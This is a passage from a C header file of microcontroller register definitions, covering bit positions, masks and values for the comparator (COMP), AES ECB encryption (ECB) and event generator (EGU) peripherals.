#define COMP_REFSEL_REFSEL_ARef (7UL) /*!< VREF = AREF (VDD >= VREF >= AREFMIN) */
/* Register: COMP_EXTREFSEL */
/* Description: External reference select */
/* Bit 0 : External analog reference select */
#define COMP_EXTREFSEL_EXTREFSEL_Pos (0UL) /*!< Position of EXTREFSEL field. */
#define COMP_EXTREFSEL_EXTREFSEL_Msk (0x1UL << COMP_EXTREFSEL_EXTREFSEL_Pos) /*!< Bit mask of EXTREFSEL field. */
#define COMP_EXTREFSEL_EXTREFSEL_AnalogReference0 (0UL) /*!< Use AIN0 as external analog reference */
#define COMP_EXTREFSEL_EXTREFSEL_AnalogReference1 (1UL) /*!< Use AIN1 as external analog reference */
/* Register: COMP_TH */
/* Description: Threshold configuration for hysteresis unit */
/* Bits 13..8 : VUP = (THUP+1)/64*VREF */
#define COMP_TH_THUP_Pos (8UL) /*!< Position of THUP field. */
#define COMP_TH_THUP_Msk (0x3FUL << COMP_TH_THUP_Pos) /*!< Bit mask of THUP field. */
/* Bits 5..0 : VDOWN = (THDOWN+1)/64*VREF */
#define COMP_TH_THDOWN_Pos (0UL) /*!< Position of THDOWN field. */
#define COMP_TH_THDOWN_Msk (0x3FUL << COMP_TH_THDOWN_Pos) /*!< Bit mask of THDOWN field. */
/* Register: COMP_MODE */
/* Description: Mode configuration */
/* Bit 8 : Main operation mode */
#define COMP_MODE_MAIN_Pos (8UL) /*!< Position of MAIN field. */
#define COMP_MODE_MAIN_Msk (0x1UL << COMP_MODE_MAIN_Pos) /*!< Bit mask of MAIN field. */
#define COMP_MODE_MAIN_SE (0UL) /*!< Single ended mode */
#define COMP_MODE_MAIN_Diff (1UL) /*!< Differential mode */
/* Bits 1..0 : Speed and power mode */
#define COMP_MODE_SP_Pos (0UL) /*!< Position of SP field. */
#define COMP_MODE_SP_Msk (0x3UL << COMP_MODE_SP_Pos) /*!< Bit mask of SP field. */
#define COMP_MODE_SP_Low (0UL) /*!< Low power mode */
#define COMP_MODE_SP_Normal (1UL) /*!< Normal mode */
#define COMP_MODE_SP_High (2UL) /*!< High speed mode */
/* Register: COMP_HYST */
/* Description: Comparator hysteresis enable */
/* Bit 0 : Comparator hysteresis */
#define COMP_HYST_HYST_Pos (0UL) /*!< Position of HYST field. */
#define COMP_HYST_HYST_Msk (0x1UL << COMP_HYST_HYST_Pos) /*!< Bit mask of HYST field. */
#define COMP_HYST_HYST_NoHyst (0UL) /*!< Comparator hysteresis disabled */
#define COMP_HYST_HYST_Hyst50mV (1UL) /*!< Comparator hysteresis enabled */
/* Register: COMP_ISOURCE */
/* Description: Current source select on analog input */
/* Bits 1..0 : Comparator hysteresis */
#define COMP_ISOURCE_ISOURCE_Pos (0UL) /*!< Position of ISOURCE field. */
#define COMP_ISOURCE_ISOURCE_Msk (0x3UL << COMP_ISOURCE_ISOURCE_Pos) /*!< Bit mask of ISOURCE field. */
#define COMP_ISOURCE_ISOURCE_Off (0UL) /*!< Current source disabled */
#define COMP_ISOURCE_ISOURCE_Ien2mA5 (1UL) /*!< Current source enabled (+/- 2.5 uA) */
#define COMP_ISOURCE_ISOURCE_Ien5mA (2UL) /*!< Current source enabled (+/- 5 uA) */
#define COMP_ISOURCE_ISOURCE_Ien10mA (3UL) /*!< Current source enabled (+/- 10 uA) */
/* Peripheral: ECB */
/* Description: AES ECB Mode Encryption */
/* Register: ECB_INTENSET */
/* Description: Enable interrupt */
/* Bit 1 : Write '1' to Enable interrupt for ERRORECB event */
#define ECB_INTENSET_ERRORECB_Pos (1UL) /*!< Position of ERRORECB field. */
#define ECB_INTENSET_ERRORECB_Msk (0x1UL << ECB_INTENSET_ERRORECB_Pos) /*!< Bit mask of ERRORECB field. */
#define ECB_INTENSET_ERRORECB_Disabled (0UL) /*!< Read: Disabled */
#define ECB_INTENSET_ERRORECB_Enabled (1UL) /*!< Read: Enabled */
#define ECB_INTENSET_ERRORECB_Set (1UL) /*!< Enable */
/* Bit 0 : Write '1' to Enable interrupt for ENDECB event */
#define ECB_INTENSET_ENDECB_Pos (0UL) /*!< Position of ENDECB field. */
#define ECB_INTENSET_ENDECB_Msk (0x1UL << ECB_INTENSET_ENDECB_Pos) /*!< Bit mask of ENDECB field. */
#define ECB_INTENSET_ENDECB_Disabled (0UL) /*!< Read: Disabled */
#define ECB_INTENSET_ENDECB_Enabled (1UL) /*!< Read: Enabled */
#define ECB_INTENSET_ENDECB_Set (1UL) /*!< Enable */
/* Register: ECB_INTENCLR */
/* Description: Disable interrupt */
/* Bit 1 : Write '1' to Disable interrupt for ERRORECB event */
#define ECB_INTENCLR_ERRORECB_Pos (1UL) /*!< Position of ERRORECB field. */
#define ECB_INTENCLR_ERRORECB_Msk (0x1UL << ECB_INTENCLR_ERRORECB_Pos) /*!< Bit mask of ERRORECB field. */
#define ECB_INTENCLR_ERRORECB_Disabled (0UL) /*!< Read: Disabled */
#define ECB_INTENCLR_ERRORECB_Enabled (1UL) /*!< Read: Enabled */
#define ECB_INTENCLR_ERRORECB_Clear (1UL) /*!< Disable */
/* Bit 0 : Write '1' to Disable interrupt for ENDECB event */
#define ECB_INTENCLR_ENDECB_Pos (0UL) /*!< Position of ENDECB field. */
#define ECB_INTENCLR_ENDECB_Msk (0x1UL << ECB_INTENCLR_ENDECB_Pos) /*!< Bit mask of ENDECB field. */
#define ECB_INTENCLR_ENDECB_Disabled (0UL) /*!< Read: Disabled */
#define ECB_INTENCLR_ENDECB_Enabled (1UL) /*!< Read: Enabled */
#define ECB_INTENCLR_ENDECB_Clear (1UL) /*!< Disable */
/* Register: ECB_ECBDATAPTR */
/* Description: ECB block encrypt memory pointers */
/* Bits 31..0 : Pointer to the ECB data structure (see Table 1 ECB data structure overview) */
#define ECB_ECBDATAPTR_ECBDATAPTR_Pos (0UL) /*!< Position of ECBDATAPTR field. */
#define ECB_ECBDATAPTR_ECBDATAPTR_Msk (0xFFFFFFFFUL << ECB_ECBDATAPTR_ECBDATAPTR_Pos) /*!< Bit mask of ECBDATAPTR field. */
/* Peripheral: EGU */
/* Description: Event Generator Unit 0 */
/* Register: EGU_INTEN */
/* Description: Enable or disable interrupt */
/* Bit 15 : Enable or disable interrupt for TRIGGERED[15] event */
#define EGU_INTEN_TRIGGERED15_Pos (15UL) /*!< Position of TRIGGERED15 field. */
#define EGU_INTEN_TRIGGERED15_Msk (0x1UL << EGU_INTEN_TRIGGERED15_Pos) /*!< Bit mask of TRIGGERED15 field. */
#define EGU_INTEN_TRIGGERED15_Disabled (0UL) /*!< Disable */
#define EGU_INTEN_TRIGGERED15_Enabled (1UL) /*!< Enable */
/* Bit 14 : Enable or disable interrupt for TRIGGERED[14] event */
#define EGU_INTEN_TRIGGERED14_Pos (14UL) /*!< Position of TRIGGERED14 field. */
#define EGU_INTEN_TRIGGERED14_Msk (0x1UL << EGU_INTEN_TRIGGERED14_Pos) /*!< Bit mask of TRIGGERED14 field. */
#define EGU_INTEN_TRIGGERED14_Disabled (0UL) /*!< Disable */
#define EGU_INTEN_TRIGGERED14_Enabled (1UL) /*!< Enable */
/* Bit 13 : Enable or disable interrupt for TRIGGERED[13] event */
#define EGU_INTEN_TRIGGERED13_Pos (13UL) /*!< Position of TRIGGERED13 field. */
#define EGU_INTEN_TRIGGERED13_Msk (0x1UL << EGU_INTEN_TRIGGERED13_Pos) /*!< Bit mask of TRIGGERED13 field. */
#define EGU_INTEN_TRIGGERED13_Disabled (0UL) /*!< Disable */
#define EGU_INTEN_TRIGGERED13_Enabled (1UL) /*!< Enable */
/* Bit 12 : Enable or disable interrupt for TRIGGERED[12] event */
#define EGU_INTEN_TRIGGERED12_Pos (12UL) /*!< Position of TRIGGERED12 field. */
#define EGU_INTEN_TRIGGERED12_Msk (0x1UL << EGU_INTEN_TRIGGERED12_Pos) /*!< Bit mask of TRIGGERED12 field. */
#define EGU_INTEN_TRIGGERED12_Disabled (0UL) /*!< Disable */
#define EGU_INTEN_TRIGGERED12_Enabled (1UL) /*!< Enable */
/* Bit 11 : Enable or disable interrupt for TRIGGERED[11] event */
#define EGU_INTEN_TRIGGERED11_Pos (11UL) /*!< Position of TRIGGERED11 field. */
#define EGU_INTEN_TRIGGERED11_Msk (0x1UL << EGU_INTEN_TRIGGERED11_Pos) /*!< Bit mask of TRIGGERED11 field. */
#define EGU_INTEN_TRIGGERED11_Disabled (0UL) /*!< Disable */
#define EGU_INTEN_TRIGGERED11_Enabled (1UL) /*!< Enable */
/* Bit 10 : Enable or disable interrupt for TRIGGERED[10] event */
#define EGU_INTEN_TRIGGERED10_Pos (10UL) /*!< Position of TRIGGERED10 field. */
#define EGU_INTEN_TRIGGERED10_Msk (0x1UL << EGU_INTEN_TRIGGERED10_Pos) /*!< Bit mask of TRIGGERED10 field. */
#define EGU_INTEN_TRIGGERED10_Disabled (0UL) /*!< Disable */
#define EGU_INTEN_TRIGGERED10_Enabled (1UL) /*!< Enable */
/* Bit 9 : Enable or disable interrupt for TRIGGERED[9] event */
#define EGU_INTEN_TRIGGERED9_Pos (9UL) /*!< Position of TRIGGERED9 field. */
#define EGU_INTEN_TRIGGERED9_Msk (0x1UL << EGU_INTEN_TRIGGERED9_Pos) /*!< Bit mask of TRIGGERED9 field. */
#define EGU_INTEN_TRIGGERED9_Disabled (0UL) /*!< Disable */
#define EGU_INTEN_TRIGGERED9_Enabled (1UL) /*!< Enable */
/* Bit 8 : Enable or disable interrupt for TRIGGERED[8] event */
#define EGU_INTEN_TRIGGERED8_Pos (8UL) /*!< Position of TRIGGERED8 field. */
#define EGU_INTEN_TRIGGERED8_Msk (0x1UL << EGU_INTEN_TRIGGERED8_Pos) /*!< Bit mask of TRIGGERED8 field. */
#define EGU_INTEN_TRIGGERED8_Disabled (0UL) /*!< Disable */
#define EGU_INTEN_TRIGGERED8_Enabled (1UL) /*!< Enable */
/* Bit 7 : Enable or disable interrupt for TRIGGERED[7] event */
#define EGU_INTEN_TRIGGERED7_Pos (7UL) /*!< Position of TRIGGERED7 field. */
#define EGU_INTEN_TRIGGERED7_Msk (0x1UL << EGU_INTEN_TRIGGERED7_Pos) /*!< Bit mask of TRIGGERED7 field. */
#define EGU_INTEN_TRIGGERED7_Disabled (0UL) /*!< Disable */
#define EGU_INTEN_TRIGGERED7_Enabled (1UL) /*!< Enable */
/* Bit 6 : Enable or disable interrupt for TRIGGERED[6] event */
#define EGU_INTEN_TRIGGERED6_Pos (6UL) /*!< Position of TRIGGERED6 field. */
#define EGU_INTEN_TRIGGERED6_Msk (0x1UL << EGU_INTEN_TRIGGERED6_Pos) /*!< Bit mask of TRIGGERED6 field. */
#define EGU_INTEN_TRIGGERED6_Disabled (0UL) /*!< Disable */
#define EGU_INTEN_TRIGGERED6_Enabled (1UL) /*!< Enable */
/* Bit 5 : Enable or disable interrupt for TRIGGERED[5] event */
#define EGU_INTEN_TRIGGERED5_Pos (5UL) /*!< Position of TRIGGERED5 field. */
#define EGU_INTEN_TRIGGERED5_Msk (0x1UL << EGU_INTEN_TRIGGERED5_Pos) /*!< Bit mask of TRIGGERED5 field. */
#define EGU_INTEN_TRIGGERED5_Disabled (0UL) /*!< Disable */
#define EGU_INTEN_TRIGGERED5_Enabled (1UL) /*!< Enable */
/* Bit 4 : Enable or disable interrupt for TRIGGERED[4] event */
#define EGU_INTEN_TRIGGERED4_Pos (4UL) /*!< Position of TRIGGERED4 field. */
#define EGU_INTEN_TRIGGERED4_Msk (0x1UL << EGU_INTEN_TRIGGERED4_Pos) /*!< Bit mask of TRIGGERED4 field. */
#define EGU_INTEN_TRIGGERED4_Disabled (0UL) /*!< Disable */
#define EGU_INTEN_TRIGGERED4_Enabled (1UL) /*!< Enable */
/* Bit 3 : Enable or disable interrupt for TRIGGERED[3] event */
#define EGU_INTEN_TRIGGERED3_Pos (3UL) /*!< Position of TRIGGERED3 field. */
#define EGU_INTEN_TRIGGERED3_Msk (0x1UL << EGU_INTEN_TRIGGERED3_Pos) /*!< Bit mask of TRIGGERED3 field. */
#define EGU_INTEN_TRIGGERED3_Disabled (0UL) /*!< Disable */
#define EGU_INTEN_TRIGGERED3_Enabled (1UL) /*!< Enable */
/* Bit 2 : Enable or disable interrupt for TRIGGERED[2] event */
#define EGU_INTEN_TRIGGERED2_Pos (2UL) /*!< Position of TRIGGERED2 field. */
#define EGU_INTEN_TRIGGERED2_Msk (0x1UL << EGU_INTEN_TRIGGERED2_Pos) /*!< Bit mask of TRIGGERED2 field. */
#define EGU_INTEN_TRIGGERED2_Disabled (0UL) /*!< Disable */
#define EGU_INTEN_TRIGGERED2_Enabled (1UL) /*!< Enable */
/* Bit 1 : Enable or disable interrupt for TRIGGERED[1] event */
#define EGU_INTEN_TRIGGERED1_Pos (1UL) /*!< Position of TRIGGERED1 field. */
#define EGU_INTEN_TRIGGERED1_Msk (0x1UL << EGU_INTEN_TRIGGERED1_Pos) /*!< Bit mask of TRIGGERED1 field. */
#define EGU_INTEN_TRIGGERED1_Disabled (0UL) /*!< Disable */
#define EGU_INTEN_TRIGGERED1_Enabled (1UL) /*!< Enable */
/* Bit 0 : Enable or disable interrupt for TRIGGERED[0] event */
#define EGU_INTEN_TRIGGERED0_Pos (0UL) /*!< Position of TRIGGERED0 field. */
#define EGU_INTEN_TRIGGERED0_Msk (0x1UL << EGU_INTEN_TRIGGERED0_Pos) /*!< Bit mask of TRIGGERED0 field. */
#define EGU_INTEN_TRIGGERED0_Disabled (0UL) /*!< Disable */
#define EGU_INTEN_TRIGGERED0_Enabled (1UL) /*!< Enable */
/* Register: EGU_INTENSET */
/* Description: Enable interrupt */
/* Bit 15 : Write '1' to Enable interrupt for TRIGGERED[15] event */
#define EGU_INTENSET_TRIGGERED15_Pos (15UL) /*!< Position of TRIGGERED15 field. */
#define EGU_INTENSET_TRIGGERED15_Msk (0x1UL << EGU_INTENSET_TRIGGERED15_Pos) /*!< Bit mask of TRIGGERED15 field. */
#define EGU_INTENSET_TRIGGERED15_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENSET_TRIGGERED15_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENSET_TRIGGERED15_Set (1UL) /*!< Enable */
/* Bit 14 : Write '1' to Enable interrupt for TRIGGERED[14] event */
#define EGU_INTENSET_TRIGGERED14_Pos (14UL) /*!< Position of TRIGGERED14 field. */
#define EGU_INTENSET_TRIGGERED14_Msk (0x1UL << EGU_INTENSET_TRIGGERED14_Pos) /*!< Bit mask of TRIGGERED14 field. */
#define EGU_INTENSET_TRIGGERED14_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENSET_TRIGGERED14_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENSET_TRIGGERED14_Set (1UL) /*!< Enable */
/* Bit 13 : Write '1' to Enable interrupt for TRIGGERED[13] event */
#define EGU_INTENSET_TRIGGERED13_Pos (13UL) /*!< Position of TRIGGERED13 field. */
#define EGU_INTENSET_TRIGGERED13_Msk (0x1UL << EGU_INTENSET_TRIGGERED13_Pos) /*!< Bit mask of TRIGGERED13 field. */
#define EGU_INTENSET_TRIGGERED13_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENSET_TRIGGERED13_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENSET_TRIGGERED13_Set (1UL) /*!< Enable */
/* Bit 12 : Write '1' to Enable interrupt for TRIGGERED[12] event */
#define EGU_INTENSET_TRIGGERED12_Pos (12UL) /*!< Position of TRIGGERED12 field. */
#define EGU_INTENSET_TRIGGERED12_Msk (0x1UL << EGU_INTENSET_TRIGGERED12_Pos) /*!< Bit mask of TRIGGERED12 field. */
#define EGU_INTENSET_TRIGGERED12_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENSET_TRIGGERED12_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENSET_TRIGGERED12_Set (1UL) /*!< Enable */
/* Bit 11 : Write '1' to Enable interrupt for TRIGGERED[11] event */
#define EGU_INTENSET_TRIGGERED11_Pos (11UL) /*!< Position of TRIGGERED11 field. */
#define EGU_INTENSET_TRIGGERED11_Msk (0x1UL << EGU_INTENSET_TRIGGERED11_Pos) /*!< Bit mask of TRIGGERED11 field. */
#define EGU_INTENSET_TRIGGERED11_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENSET_TRIGGERED11_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENSET_TRIGGERED11_Set (1UL) /*!< Enable */
/* Bit 10 : Write '1' to Enable interrupt for TRIGGERED[10] event */
#define EGU_INTENSET_TRIGGERED10_Pos (10UL) /*!< Position of TRIGGERED10 field. */
#define EGU_INTENSET_TRIGGERED10_Msk (0x1UL << EGU_INTENSET_TRIGGERED10_Pos) /*!< Bit mask of TRIGGERED10 field. */
#define EGU_INTENSET_TRIGGERED10_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENSET_TRIGGERED10_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENSET_TRIGGERED10_Set (1UL) /*!< Enable */
/* Bit 9 : Write '1' to Enable interrupt for TRIGGERED[9] event */
#define EGU_INTENSET_TRIGGERED9_Pos (9UL) /*!< Position of TRIGGERED9 field. */
#define EGU_INTENSET_TRIGGERED9_Msk (0x1UL << EGU_INTENSET_TRIGGERED9_Pos) /*!< Bit mask of TRIGGERED9 field. */
#define EGU_INTENSET_TRIGGERED9_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENSET_TRIGGERED9_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENSET_TRIGGERED9_Set (1UL) /*!< Enable */
/* Bit 8 : Write '1' to Enable interrupt for TRIGGERED[8] event */
#define EGU_INTENSET_TRIGGERED8_Pos (8UL) /*!< Position of TRIGGERED8 field. */
#define EGU_INTENSET_TRIGGERED8_Msk (0x1UL << EGU_INTENSET_TRIGGERED8_Pos) /*!< Bit mask of TRIGGERED8 field. */
#define EGU_INTENSET_TRIGGERED8_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENSET_TRIGGERED8_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENSET_TRIGGERED8_Set (1UL) /*!< Enable */
/* Bit 7 : Write '1' to Enable interrupt for TRIGGERED[7] event */
#define EGU_INTENSET_TRIGGERED7_Pos (7UL) /*!< Position of TRIGGERED7 field. */
#define EGU_INTENSET_TRIGGERED7_Msk (0x1UL << EGU_INTENSET_TRIGGERED7_Pos) /*!< Bit mask of TRIGGERED7 field. */
#define EGU_INTENSET_TRIGGERED7_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENSET_TRIGGERED7_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENSET_TRIGGERED7_Set (1UL) /*!< Enable */
/* Bit 6 : Write '1' to Enable interrupt for TRIGGERED[6] event */
#define EGU_INTENSET_TRIGGERED6_Pos (6UL) /*!< Position of TRIGGERED6 field. */
#define EGU_INTENSET_TRIGGERED6_Msk (0x1UL << EGU_INTENSET_TRIGGERED6_Pos) /*!< Bit mask of TRIGGERED6 field. */
#define EGU_INTENSET_TRIGGERED6_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENSET_TRIGGERED6_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENSET_TRIGGERED6_Set (1UL) /*!< Enable */
/* Bit 5 : Write '1' to Enable interrupt for TRIGGERED[5] event */
#define EGU_INTENSET_TRIGGERED5_Pos (5UL) /*!< Position of TRIGGERED5 field. */
#define EGU_INTENSET_TRIGGERED5_Msk (0x1UL << EGU_INTENSET_TRIGGERED5_Pos) /*!< Bit mask of TRIGGERED5 field. */
#define EGU_INTENSET_TRIGGERED5_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENSET_TRIGGERED5_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENSET_TRIGGERED5_Set (1UL) /*!< Enable */
/* Bit 4 : Write '1' to Enable interrupt for TRIGGERED[4] event */
#define EGU_INTENSET_TRIGGERED4_Pos (4UL) /*!< Position of TRIGGERED4 field. */
#define EGU_INTENSET_TRIGGERED4_Msk (0x1UL << EGU_INTENSET_TRIGGERED4_Pos) /*!< Bit mask of TRIGGERED4 field. */
#define EGU_INTENSET_TRIGGERED4_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENSET_TRIGGERED4_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENSET_TRIGGERED4_Set (1UL) /*!< Enable */
/* Bit 3 : Write '1' to Enable interrupt for TRIGGERED[3] event */
#define EGU_INTENSET_TRIGGERED3_Pos (3UL) /*!< Position of TRIGGERED3 field. */
#define EGU_INTENSET_TRIGGERED3_Msk (0x1UL << EGU_INTENSET_TRIGGERED3_Pos) /*!< Bit mask of TRIGGERED3 field. */
#define EGU_INTENSET_TRIGGERED3_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENSET_TRIGGERED3_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENSET_TRIGGERED3_Set (1UL) /*!< Enable */
/* Bit 2 : Write '1' to Enable interrupt for TRIGGERED[2] event */
#define EGU_INTENSET_TRIGGERED2_Pos (2UL) /*!< Position of TRIGGERED2 field. */
#define EGU_INTENSET_TRIGGERED2_Msk (0x1UL << EGU_INTENSET_TRIGGERED2_Pos) /*!< Bit mask of TRIGGERED2 field. */
#define EGU_INTENSET_TRIGGERED2_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENSET_TRIGGERED2_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENSET_TRIGGERED2_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for TRIGGERED[1] event */
#define EGU_INTENSET_TRIGGERED1_Pos (1UL) /*!< Position of TRIGGERED1 field. */
#define EGU_INTENSET_TRIGGERED1_Msk (0x1UL << EGU_INTENSET_TRIGGERED1_Pos) /*!< Bit mask of TRIGGERED1 field. */
#define EGU_INTENSET_TRIGGERED1_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENSET_TRIGGERED1_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENSET_TRIGGERED1_Set (1UL) /*!< Enable */
/* Bit 0 : Write '1' to Enable interrupt for TRIGGERED[0] event */
#define EGU_INTENSET_TRIGGERED0_Pos (0UL) /*!< Position of TRIGGERED0 field. */
#define EGU_INTENSET_TRIGGERED0_Msk (0x1UL << EGU_INTENSET_TRIGGERED0_Pos) /*!< Bit mask of TRIGGERED0 field. */
#define EGU_INTENSET_TRIGGERED0_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENSET_TRIGGERED0_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENSET_TRIGGERED0_Set (1UL) /*!< Enable */
/* Register: EGU_INTENCLR */
/* Description: Disable interrupt */
/* Bit 15 : Write '1' to Disable interrupt for TRIGGERED[15] event */
#define EGU_INTENCLR_TRIGGERED15_Pos (15UL) /*!< Position of TRIGGERED15 field. */
#define EGU_INTENCLR_TRIGGERED15_Msk (0x1UL << EGU_INTENCLR_TRIGGERED15_Pos) /*!< Bit mask of TRIGGERED15 field. */
#define EGU_INTENCLR_TRIGGERED15_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENCLR_TRIGGERED15_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENCLR_TRIGGERED15_Clear (1UL) /*!< Disable */
/* Bit 14 : Write '1' to Disable interrupt for TRIGGERED[14] event */
#define EGU_INTENCLR_TRIGGERED14_Pos (14UL) /*!< Position of TRIGGERED14 field. */
#define EGU_INTENCLR_TRIGGERED14_Msk (0x1UL << EGU_INTENCLR_TRIGGERED14_Pos) /*!< Bit mask of TRIGGERED14 field. */
#define EGU_INTENCLR_TRIGGERED14_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENCLR_TRIGGERED14_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENCLR_TRIGGERED14_Clear (1UL) /*!< Disable */
/* Bit 13 : Write '1' to Disable interrupt for TRIGGERED[13] event */
#define EGU_INTENCLR_TRIGGERED13_Pos (13UL) /*!< Position of TRIGGERED13 field. */
#define EGU_INTENCLR_TRIGGERED13_Msk (0x1UL << EGU_INTENCLR_TRIGGERED13_Pos) /*!< Bit mask of TRIGGERED13 field. */
#define EGU_INTENCLR_TRIGGERED13_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENCLR_TRIGGERED13_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENCLR_TRIGGERED13_Clear (1UL) /*!< Disable */
/* Bit 12 : Write '1' to Disable interrupt for TRIGGERED[12] event */
#define EGU_INTENCLR_TRIGGERED12_Pos (12UL) /*!< Position of TRIGGERED12 field. */
#define EGU_INTENCLR_TRIGGERED12_Msk (0x1UL << EGU_INTENCLR_TRIGGERED12_Pos) /*!< Bit mask of TRIGGERED12 field. */
#define EGU_INTENCLR_TRIGGERED12_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENCLR_TRIGGERED12_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENCLR_TRIGGERED12_Clear (1UL) /*!< Disable */
/* Bit 11 : Write '1' to Disable interrupt for TRIGGERED[11] event */
#define EGU_INTENCLR_TRIGGERED11_Pos (11UL) /*!< Position of TRIGGERED11 field. */
#define EGU_INTENCLR_TRIGGERED11_Msk (0x1UL << EGU_INTENCLR_TRIGGERED11_Pos) /*!< Bit mask of TRIGGERED11 field. */
#define EGU_INTENCLR_TRIGGERED11_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENCLR_TRIGGERED11_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENCLR_TRIGGERED11_Clear (1UL) /*!< Disable */
/* Bit 10 : Write '1' to Disable interrupt for TRIGGERED[10] event */
#define EGU_INTENCLR_TRIGGERED10_Pos (10UL) /*!< Position of TRIGGERED10 field. */
#define EGU_INTENCLR_TRIGGERED10_Msk (0x1UL << EGU_INTENCLR_TRIGGERED10_Pos) /*!< Bit mask of TRIGGERED10 field. */
#define EGU_INTENCLR_TRIGGERED10_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENCLR_TRIGGERED10_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENCLR_TRIGGERED10_Clear (1UL) /*!< Disable */
/* Bit 9 : Write '1' to Disable interrupt for TRIGGERED[9] event */
#define EGU_INTENCLR_TRIGGERED9_Pos (9UL) /*!< Position of TRIGGERED9 field. */
#define EGU_INTENCLR_TRIGGERED9_Msk (0x1UL << EGU_INTENCLR_TRIGGERED9_Pos) /*!< Bit mask of TRIGGERED9 field. */
#define EGU_INTENCLR_TRIGGERED9_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENCLR_TRIGGERED9_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENCLR_TRIGGERED9_Clear (1UL) /*!< Disable */
/* Bit 8 : Write '1' to Disable interrupt for TRIGGERED[8] event */
#define EGU_INTENCLR_TRIGGERED8_Pos (8UL) /*!< Position of TRIGGERED8 field. */
#define EGU_INTENCLR_TRIGGERED8_Msk (0x1UL << EGU_INTENCLR_TRIGGERED8_Pos) /*!< Bit mask of TRIGGERED8 field. */
#define EGU_INTENCLR_TRIGGERED8_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENCLR_TRIGGERED8_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENCLR_TRIGGERED8_Clear (1UL) /*!< Disable */
/* Bit 7 : Write '1' to Disable interrupt for TRIGGERED[7] event */
#define EGU_INTENCLR_TRIGGERED7_Pos (7UL) /*!< Position of TRIGGERED7 field. */
#define EGU_INTENCLR_TRIGGERED7_Msk (0x1UL << EGU_INTENCLR_TRIGGERED7_Pos) /*!< Bit mask of TRIGGERED7 field. */
#define EGU_INTENCLR_TRIGGERED7_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENCLR_TRIGGERED7_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENCLR_TRIGGERED7_Clear (1UL) /*!< Disable */
/* Bit 6 : Write '1' to Disable interrupt for TRIGGERED[6] event */
#define EGU_INTENCLR_TRIGGERED6_Pos (6UL) /*!< Position of TRIGGERED6 field. */
#define EGU_INTENCLR_TRIGGERED6_Msk (0x1UL << EGU_INTENCLR_TRIGGERED6_Pos) /*!< Bit mask of TRIGGERED6 field. */
#define EGU_INTENCLR_TRIGGERED6_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENCLR_TRIGGERED6_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENCLR_TRIGGERED6_Clear (1UL) /*!< Disable */
/* Bit 5 : Write '1' to Disable interrupt for TRIGGERED[5] event */
#define EGU_INTENCLR_TRIGGERED5_Pos (5UL) /*!< Position of TRIGGERED5 field. */
#define EGU_INTENCLR_TRIGGERED5_Msk (0x1UL << EGU_INTENCLR_TRIGGERED5_Pos) /*!< Bit mask of TRIGGERED5 field. */
#define EGU_INTENCLR_TRIGGERED5_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENCLR_TRIGGERED5_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENCLR_TRIGGERED5_Clear (1UL) /*!< Disable */
/* Bit 4 : Write '1' to Disable interrupt for TRIGGERED[4] event */
#define EGU_INTENCLR_TRIGGERED4_Pos (4UL) /*!< Position of TRIGGERED4 field. */
#define EGU_INTENCLR_TRIGGERED4_Msk (0x1UL << EGU_INTENCLR_TRIGGERED4_Pos) /*!< Bit mask of TRIGGERED4 field. */
#define EGU_INTENCLR_TRIGGERED4_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENCLR_TRIGGERED4_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENCLR_TRIGGERED4_Clear (1UL) /*!< Disable */
/* Bit 3 : Write '1' to Disable interrupt for TRIGGERED[3] event */
